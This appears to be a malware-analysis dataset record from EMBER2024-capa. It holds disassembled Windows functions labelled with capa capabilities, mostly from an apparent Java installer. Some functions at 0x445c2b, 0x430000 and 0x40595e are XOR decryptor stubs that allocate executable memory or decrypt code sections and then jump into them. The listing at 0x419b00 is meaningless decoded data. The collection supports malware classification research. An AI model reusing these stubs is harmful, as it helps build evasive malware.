joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41aa49
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x120
mov eax, 0x4593c3
call fcn.00441f1a
mov eax, dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 0x78], eax
mov eax, esi
call fcn.0041aa2b
mov edi, eax
test edi, edi
jne 0x41ab01
push str.cannot_find_resource
lea ecx, [ebp - 0x30]
call fcn.00405b5f
and dword [ebp - 4], edi
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
call fcn.0041a976
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 1
call fcn.00416cfa
push str.System_error
mov byte [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
mov ecx, dword [sym.imp.kernel32.dll_FindResourceA]
push eax
mov eax, esi
push eax
lea edi, [ebp - 0x90]
call fcn.0042aa6f
mov byte [ebp - 4], 3
mov dword [ebp - 0x84], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_Resources.cpp
mov dword [ebp - 0x80], str.Resource::getPtr
mov dword [ebp - 0x7c], 0x41
lea ecx, [ebp - 0x58]
push ecx
lea esi, [ebp - 0x84]
mov ecx, eax
call fcn.0041acfa
lea eax, [ebp - 0x58]
mov dword [esp], 0x46d888
push eax
call fcn.00445c2b
mov ebx, dword [sym.imp.kernel32.dll_LoadResource]
push edi
push dword [esi + 0x40]
call ebx
test eax, eax
jne 0x41ab85
push str.cannot_load_resource
lea ecx, [ebp - 0x30]
call fcn.00405b5f
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
mov dword [ebp - 4], 4
call fcn.0041a976
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 5
call fcn.00416cfa
push str.System_error
mov byte [ebp - 4], 6
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
mov eax, esi
push eax
mov ecx, ebx
lea edi, [ebp - 0x90]
call fcn.0042aa6f
mov byte [ebp - 4], 7
mov dword [ebp - 0x84], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_Resources.cpp
mov dword [ebp - 0x80], str.Resource::getPtr
mov dword [ebp - 0x7c], 0x46
jmp 0x41aae0
push eax
call dword [sym.imp.kernel32.dll_LockResource]
cmp dword [esi + 0x3c], 6
mov ebx, eax
jne 0x41abb5
mov esi, dword [esi + 0x1c]
and esi, 0xf
jbe 0x41aba6
dec esi
movzx ecx, word [eax]
lea eax, [eax + ecx*2 + 2]
jne 0x41ab9c
movzx ecx, word [eax]
mov edx, dword [ebp - 0x78]
add ecx, ecx
mov dword [edx], ecx
lea ebx, [eax + 2]
jmp 0x41abc4
push edi
push dword [esi + 0x40]
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, ebx
call fcn.00441f9d
ret 4
Function at 0x420edc
Capabilities:
Check http status code

Disassembly:
push 0x94
mov eax, 0x459272
call fcn.00441f1a
mov esi, ecx
push esi
push 0x13
pop ecx
call fcn.0042093a
mov dword [ebp - 0x8c], eax
cmp eax, 0xc8
je 0x421023
cmp eax, 0xce
je 0x421023
cmp eax, 0x193
jne 0x420fd6
push 0x4634c6
lea ecx, [ebp - 0x4c]
call fcn.00405b5f
push 0x14
xor edi, edi
push esi
lea ecx, [ebp - 0x4c]
lea ebx, [ebp - 0x30]
mov dword [ebp - 4], edi
call fcn.00420ac4
push edi
push 1
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 2
call fcn.00405e43
mov esi, str.Export_Denied
push esi
call fcn.0043b360
pop ecx
push eax
push esi
mov eax, ebx
push eax
xor eax, eax
call fcn.00445c2b
cmp eax, 0xffffffff
je 0x420fc7
mov edi, 0x193
lea ecx, [ebp - 0xa0]
call fcn.0041ebb5
mov dword [ebp - 0xa0], vtable.HttpConnection::export_compliance_error.0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x7c]
push eax
lea esi, [ebp - 0x88]
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x88], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_NetUtils.cpp
mov dword [ebp - 0x84], str.HttpConnection::Response::checkStatus
mov dword [ebp - 0x80], 0x2cb
call fcn.004233d7
mov dword [esp], 0x46dbd8
lea eax, [ebp - 0x7c]
push eax
call fcn.00445c2b
or dword [ebp - 4], 0xffffffff
push edi
push 1
lea ecx, [ebp - 0x30]
call fcn.00405e43
mov edi, dword [ebp - 0x8c]
lea ecx, [ebp - 0xa0]
call fcn.0041ebb5
lea ecx, [ebp - 0x7c]
mov dword [ebp - 4], 4
push ecx
lea esi, [ebp - 0x88]
mov ecx, eax
mov dword [ebp - 0x88], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_NetUtils.cpp
mov dword [ebp - 0x84], str.HttpConnection::Response::checkStatus
mov dword [ebp - 0x80], 0x2ce
call fcn.00423378
mov dword [esp], 0x46db74
jmp 0x420fbe
call fcn.00441f9d
ret

Function at 0x421319
Capabilities:
Parse url

Disassembly:
push 0x5c
mov eax, 0x45590b
call fcn.00441f1a
push 0x38
lea eax, [ebp - 0x64]
push 0
push eax
mov esi, ecx
mov edi, edx
call fcn.0043b8b0
xor ebx, ebx
inc ebx
add esp, 0xc
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x68], 0x3c
mov dword [ebp - 0x54], ebx
jb 0x42134e
mov esi, dword [esi]
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push esi
call dword [sym.imp.wininet.dll_InternetCrackUrlA]
test eax, eax
jne 0x421365
xor al, al
jmp 0x4213a9
mov eax, dword [ebp - 0x5c]
push 3
pop ecx
sub eax, ecx
je 0x42137a
dec eax
je 0x421376
mov dword [edi], ebx
jmp 0x421380
mov dword [edi], ecx
jmp 0x421380
mov dword [edi], 2
push dword [ebp - 0x54]
lea esi, [ebp - 0x2c]
push dword [ebp - 0x58]
call fcn.0040aa07
and dword [ebp - 4], 0
add edi, 4
mov esi, eax
call fcn.00405cea
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00405e43
mov al, bl
call fcn.00441f9d
ret
Function at 0x424348
Capabilities:
Get common file path

Disassembly:
push 0x38
mov eax, 0x454edd
call fcn.00441f1a
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x30], eax
mov esi, 0x104
lea eax, [ebp - 0x40]
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
call fcn.00415ddc
mov dword [ebp - 4], edi
mov esi, dword [ebp - 0x40]
mov edi, dword [ebp - 0x3c]
mov ebx, dword [sym.imp.kernel32.dll_GetTempPathA]
push esi
sub edi, esi
push edi
call ebx
cmp eax, edi
jbe 0x4243a4
mov esi, eax
lea eax, [ebp - 0x40]
call fcn.00415ddc
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
push esi
sub eax, esi
push eax
call ebx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00405b5f
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.00425913
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00405e43
test esi, esi
je 0x4243d3
push esi
call fcn.00445c2b
pop ecx
mov eax, dword [ebp - 0x30]
call fcn.00441f9d
ret

Function at 0x424a27
Capabilities:
Identify system language via api

Disassembly:
push 4
mov eax, 0x4545a2
call fcn.00441eb1
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.kernel32.dll_GetThreadLocale]
push eax
mov eax, esi
call fcn.00445c2b
pop ecx
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.00445c2b
pop ecx
call dword [sym.imp.kernel32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.00445c2b
mov eax, esi
mov dword [esp], 0x409
call fcn.00445c2b
pop ecx
mov eax, esi
call fcn.00441f89
ret

Function at 0x4256a7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [eax + 0x14], 0x10
jb 0x4256af
mov eax, dword [eax]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
ret

Function at 0x4256bf
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [eax + 0x14], 0x10
jb 0x4256c7
mov eax, dword [eax]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4256db
test al, 0x10
je 0x4256db
xor eax, eax
inc eax
ret
xor eax, eax
ret
Function at 0x4259cd
Capabilities:
Get file version info

Disassembly:
push 0xf0
mov eax, 0x45915b
call fcn.00441f1a
mov eax, dword [ebp + 8]
push eax
mov esi, ebx
mov dword [ebp - 0x54], ebx
call fcn.00406ec6
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebx + 0x1c], esi
mov dword [ebx + 0x20], esi
mov dword [ebx + 0x24], esi
mov byte [ebp - 4], 1
cmp dword [ebx + 0x14], 0x10
mov dword [ebp - 0x40], esi
jb 0x425a09
mov eax, dword [ebx]
jmp 0x425a0b
mov eax, ebx
lea ecx, [ebp - 0x40]
push ecx
push eax
call dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
cmp eax, esi
jne 0x425ac3
push str.System_error
mov dword [ebp - 0x4c], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x464
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.00406ec6
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 2
call fcn.00409545
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfoSize_
push eax
mov byte [ebp - 4], 3
call fcn.0040b58e
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 4
call fcn.0040b3b1
mov esi, eax
push 0x466ad0
push esi
call fcn.0040b58e
pop ecx
pop ecx
mov ecx, dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
push esi
lea edi, [ebp - 0x60]
call fcn.0042aa6f
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3c]
push ecx
lea esi, [ebp - 0x4c]
mov ecx, eax
call fcn.0041acfa
lea eax, [ebp - 0x3c]
mov dword [esp], 0x46d888
push eax
call fcn.00445c2b
mov esi, eax
lea eax, [ebx + 0x1c]
call fcn.0041053c
mov ecx, dword [ebx + 0x1c]
mov eax, dword [ebx + 0x20]
sub eax, ecx
cmp dword [ebx + 0x14], 0x10
jb 0x425adf
mov edx, dword [ebx]
jmp 0x425ae1
mov edx, ebx
mov edi, dword [sym.imp.version.dll_GetFileVersionInfoA]
push ecx
push eax
push dword [ebp - 0x40]
push edx
call edi
test eax, eax
jne 0x425b7f
push str.System_error
mov dword [ebp - 0x4c], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x46d
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.00406ec6
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 6
call fcn.00409545
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfo_
push eax
mov byte [ebp - 4], 7
call fcn.0040b58e
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 8
call fcn.0040b3b1
mov esi, eax
push 0x466ad0
push esi
call fcn.0040b58e
pop ecx
pop ecx
mov ecx, edi
push esi
lea edi, [ebp - 0x60]
call fcn.0042aa6f
mov byte [ebp - 4], 9
jmp 0x425aa5
mov eax, ebx
call fcn.00441f9d
ret 4
Function at 0x428cf2
Capabilities:
Check mutex on windows

Disassembly:
push 0xa8
mov eax, 0x458f50
call fcn.00441eb1
push str.Global_MSIExecute
xor esi, esi
push esi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 1
mov dword [ebp - 4], esi
cmp eax, esi
je 0x428dc4
push dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], eax
cmp dword [ebp + 8], esi
je 0x428da4
cmp dword [0x47d500], 1
jg 0x428da4
lea eax, [ebp - 0xb4]
push eax
call fcn.00409545
lea eax, [ebp - 0xb4]
push str.finish_waiting_for_mutex:
push eax
mov byte [ebp - 4], 1
call fcn.0040b58e
pop ecx
pop ecx
push dword [ebp - 0x14]
lea eax, [ebp - 0xb4]
push eax
call fcn.0040df0e
lea eax, [ebp - 0xb4]
push eax
push 0x1c8
push 1
mov ebx, str.msi::waitForInstallationCompletion
mov edi, str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_MsiUtils.cpp
mov esi, 0x47d500
call fcn.004078b6
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0
call fcn.0040789c
cmp dword [ebp - 0x14], 0x102
jne 0x428dc4
xor bl, bl
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x1c]
call fcn.00445c2b
pop ecx
mov al, bl
call fcn.00441f89
ret
mov bl, 1
jmp 0x428daf

Function at 0x434134
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x14
mov eax, 0x4566fc
call fcn.00441eb1
xor esi, esi
lea eax, [ebp + 0x38]
push eax
push esi
push esi
push 0x2c
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.shell32.dll_SHGetFolderPathW]
cmp eax, esi
je 0x43418a
push 0xc8
lea esi, [ebp - 0x20]
call fcn.00445c2b
push 0x46d720
mov eax, esi
push eax
call fcn.00445c2b
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
call fcn.00414d60
push 0x4695b4
push eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], esi
call fcn.00445c2b
push ebx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00432e7f
add esp, 0xc
push 1
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.00414e32
push 1
lea esi, [ebp]
call fcn.00414e32
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.0043a455
add ebp, 0x244
leave
ret

Function at 0x43a455
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x479630]
jne 0x43a45f
repz ret
jmp fcn.004446c5
Function at 0x445c2b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x445c3a
pop dword [ebp - 0x30]
mov eax, 0x9fd15c14
add eax, 0x60730026
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x468cb
push 0
mov eax, 0xcda24818
add eax, 0x32a3888c
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x47f8
xor esi, esi
add esi, eax
mov edi, 0x4a0600
add edi, dword [ebp - 0x30]
mov edx, 0xf00996f0
add edx, 0x89327d17
xor dword [ebp - 0x10], edi
mov ebx, dword [edi]
mov dword [ebp - 0x18], 0xb418df18
xor ebx, edx
add dword [ebp - 0x10], 0xf0d59377
mov dword [esi], ebx
sub dword [ebp - 0x24], edi
add esi, 0xb8b311ae
sub esi, 0xb8b311aa
add edi, 0x26f1b9a7
sub edi, 0x26f1b9a3
loop 0x445c8f
add eax, 0xe735ad6b
add eax, 0x18cb6548
mov ebx, eax
add eax, 5
mov ecx, 0x58f7a4bd
sub ecx, 0x58b7a4bd
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x4c048e8
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x6a344f7b
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40596d
pop dword [ebp - 0x2c]
mov eax, 0x30c33067
add eax, 0xcf7d2906
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x560e2675
add dword [ebp - 0x3c], 0xf8441ed6
mov dword [ebp - 0x38], 0x871a30fe
sub dword [ebp - 0x38], 0x54e6e4b9
mov dword [ebp - 0x34], 0x4bbf5567
add dword [ebp - 0x34], 0x8ceec7
mov dword [ebp - 0x30], 0xfac5c386
sub dword [ebp - 0x30], 0xfac5c386
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x143edce2
sub eax, 0x13fe6c82
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x51962bdd
add dword [ebp - 0x3c], 0x22dc3d79
mov dword [ebp - 0x38], 0x33f43c9c
sub dword [ebp - 0x38], 0xf287db27
mov dword [ebp - 0x34], 0x16548578
add dword [ebp - 0x34], 0x4d1ae6f4
mov dword [ebp - 0x30], 0xdfc0b9c3
sub dword [ebp - 0x30], 0xdfc0b9c3
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xdf00748f
sub eax, 0xdec0038f
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a5db
push 0
call eax
mov ecx, 0x18fd7196
sub ecx, 0x18fd1afd
mov ebx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x2c]
mov edi, 0xdee99cca
xor dword [ebp - 0x10], 0x787a1de8
mov edx, dword [esi]
add dword [ebp - 0xc], ecx
xor edx, edi
xor dword [ebp - 0xc], 0x26576c4
mov dword [ebx], edx
xor dword [ebp - 0x1c], esi
add ebx, 0x84bfb725
add ebx, 0x7b4048df
add esi, 0xd33fc30e
sub esi, 0xd33fc30a
loop 0x405a83
add eax, 0xf5a4f7ab
add eax, 0xa5c558c
mov ebx, eax
add eax, 0x38be2ac2
sub eax, 0x38be2abd
mov ecx, 0x2ee9642
add ecx, 0xfd5169be
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x419b00
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xa56218a8
sbb eax, 0xa054bd
xlatb
and al, 0x53
xor ah, dh
fcomp qword [edi + 0xb8270fd]
cmc
sub eax, 0x3d0774e4
sbb byte [edi + 0x17], bl
aaa
xor ecx, edx
jecxz 0x419b1c
jl 0x419b5b
mov dword [0x7e9c2ec7], eax
inc edi
out 0xd0, eax
mov edi, dword [esi]
sbb esi, dword [edx]
int 0xcf
rcl byte [eax]
fiadd dword [ebp + 0x12]
jecxz 0x419b69
sbb al, byte [eax + eax + 0x74000000]
stc
test byte [eax], al
add byte [eax], al
add byte [ecx + edi*8 - 0x43], dh
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
invalid
jp 0x419b0c
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
call 0xab419b88
jae 0x419b16
add byte [ebx + 0x26000673], ch
add byte [esi], ah
add eax, 0x31a8d00
add byte [ecx], ch
cdq
sub byte [0x45157ab7], 0x2e
loopne 0x419abf
add eax, dword [eax]
sub dword [ecx + 0x7ab72d82], ebx
mov bh, 0x7a
adc eax, 0x9ce02e45
int 0x9e
fimul dword [ebp - 0x7d]
shr byte [edx - 0x675b92], 0xf3
ja 0x419b81
leave
inc edi
hlt
jge 0x419bb6
outsd dx, dword [esi]
dec eax
mov bl, dh
xor esi, ebp
aas
wait
sbb ebx, ebx
std
clc
into
ret 0xab06
salc
adc eax, 0xe3fec155
mov dword [0x7160e872], eax
and dword gs:[eax], ebx
lea ebp, [edx]
lea eax, [eax]
cmpsd dword [esi], dword es:[edi]
std
mov ebp, 0x4b70e31b
dec edi
sbb ch, cl
mov eax, 0xdabfde48
hlt
int 0xf8
scasb al, byte es:[edi]
xor ebx, dword [ebx + 0x54]
ret
Function at 0x404e00
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46a60d
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x492110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
xorps xmm0, xmm0
xor esi, esi
movlpd qword [ebp - 0x18], xmm0
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], esi
cmp dword [ebx], esi
je 0x404f5c
mov eax, dword [ebx + 4]
test eax, eax
je 0x404f5c
cmp eax, 0x8000
ja 0x404f5c
xor edi, edi
mov dword [ebx + 0xc], esi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [ebp - 0x6c], eax
lea edx, [esi + 2]
test eax, eax
je 0x404ebb
xor ecx, ecx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00425070
mov esi, eax
add esp, 4
test esi, esi
je 0x404eb4
push esi
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, eax
test ecx, ecx
jne 0x404ec5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call fcn.00425080
add esp, 4
xor esi, esi
jmp 0x404ec3
mov edi, 0xe
jmp 0x404ec3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor ecx, ecx
test esi, esi
je 0x404f58
mov eax, dword [ebx + 4]
mov edx, 2
add eax, 2
mov edi, 0xe
add eax, ecx
xor ecx, ecx
mov dword [ebp - 0x6c], eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00432c26
add esp, 4
mov dword [ebx + 0xc], eax
test eax, eax
je 0x404f4b
push dword [ebx]
push esi
push str._ls_ls
push dword [ebp - 0x6c]
push eax
call fcn.00404c00
add esp, 0x14
test eax, eax
js 0x404f46
push 0x50
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.0042f1f0
add esp, 0xc
lea ecx, [ebp - 0x68]
push dword [ebx + 0xc]
call fcn.004067b0
push 0
lea ecx, [ebp - 0x68]
call fcn.00406610
lea ecx, [ebp - 0x68]
mov edi, eax
call fcn.00406750
jmp 0x404f4b
mov edi, 0x6f
test esi, esi
je 0x404f58
push esi
call fcn.00425080
add esp, 4
mov eax, edi
jmp 0x404f61
mov eax, 0x57
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042db8f
mov esp, ebp
pop ebp
ret
Function at 0x405bd0
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x492110]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xc]
push edi
push 0xf0000000
push 1
push 0
push 0
push eax
mov edi, edx
mov dword [ebp - 0xc], 0
mov ebx, ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x405c55
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x405c55
push 0
push edi
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x405c55
push 0
lea eax, [ebp - 0x10]
push eax
push esi
push 2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
test eax, eax
je 0x405c66
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x405c76
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042db8f
mov esp, ebp
pop ebp
ret 4
Function at 0x40a8ad
Capabilities:
Get disk information

Disassembly:
push 0x434
mov eax, 0x46ab39
call fcn.0042dc0b
mov edi, 0x208
lea eax, [ebp - 0x420]
push edi
xor ebx, ebx
push ebx
push eax
call fcn.0042f1f0
add esp, 0xc
lea eax, [ebp - 0x420]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
dec eax
cmp eax, 0x207
ja 0x40aa0c
push edi
lea eax, [ebp - 0x218]
push ebx
push eax
lea esi, [ebp - 0x420]
call fcn.0042f1f0
add esp, 0xc
cmp byte [ebp - 0x420], bl
je 0x40aa0c
push esi
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.004360d6
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x40a9ef
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.00435cdc
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x428], ebx
push eax
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], bl
call fcn.00404230
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x438]
push eax
mov dword [ebp - 4], ebx
call fcn.0040aa5e
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x424]
cmp eax, 0x10
jb 0x40a9ef
mov ecx, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x440], ecx
cmp eax, 0x1000
jb 0x40a9e6
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x440]
push eax
call fcn.00401311
mov eax, dword [ebp - 0x43c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x440]
push eax
push ecx
call fcn.0042d727
pop ecx
pop ecx
test esi, esi
jne 0x40a9f7
mov eax, ebx
jmp 0x40aa00
push edi
push esi
call fcn.00435cdc
pop ecx
pop ecx
inc esi
add esi, eax
cmp byte [esi], 0
jne 0x40a911
call fcn.0042dbb5
ret